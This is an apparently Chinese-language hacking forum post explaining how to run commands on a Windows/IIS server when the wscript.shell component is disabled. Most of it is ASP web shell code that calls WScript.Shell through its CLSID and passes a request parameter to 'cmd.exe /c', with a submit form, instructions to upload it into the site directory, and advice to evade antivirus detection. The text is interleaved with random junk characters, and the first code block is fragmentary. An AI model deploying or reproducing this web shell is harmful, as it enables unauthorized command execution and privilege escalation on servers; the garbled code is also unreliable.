没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
    X: ?3 n5 H! J# ]" M5 v, m
• 把下面代码复制：
  
• <%
  % ]0 ?6 t: y; l7 C/ \
• end if
  
• response.write(”")
  
• On Error Resume
  & E9 w* r8 _7 b1 W0 ]' U
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  6 Y+ }8 j% x5 X. V  ~
• response.write(”")
  
• response.write(”")
  & b& L9 J2 [% L6 U1 M% o
• response.write(”
    A- b% E1 o% y! [- o% Z2 s2 X
• “)
  7 V- o9 B: @! m' J: d
• response.write(”")
  ) w5 C7 V6 f! L  D/ A8 _* \
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  ) g/ J4 z4 c2 q+ I* N
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  & c2 r* _: I/ ?
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  * ^) G3 D+ t7 o5 O& m& _1 E; [$ w3 Z
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  0 d+ O; Q0 D2 g3 X: y7 b
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  ! `+ q+ o5 \  _3 I% Z/ P
• end if
  
• response.write(”<textarea readonly cols=80
  
• 
  
• rows=20>”)
  : R0 w  s4 z+ G) w
• On Error Resume Next
  ( |9 y) u2 V+ @5 R# F( o
• response.write
  
• 
  , [- i5 i6 ~1 r8 J) d
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  ! e+ P$ b5 Z) r* G/ P4 K( ~/ w
• response.write(”<form
  
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  " F! E( S  j# [) L! l: U6 H
• 
  
• size=60><br>”)
  ! p% c. f+ a* V' G1 {, u" _8 ]
• response.write(”<input type=submit
  * R" {2 B$ H, {3 o- W
• 
  9 f* r. T! F9 Q& [- @! [8 p
• value=’执行’></form>”)
  
• %>
  $ U  S: F* j: |; U; x% _" B- d% L
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  

复制代码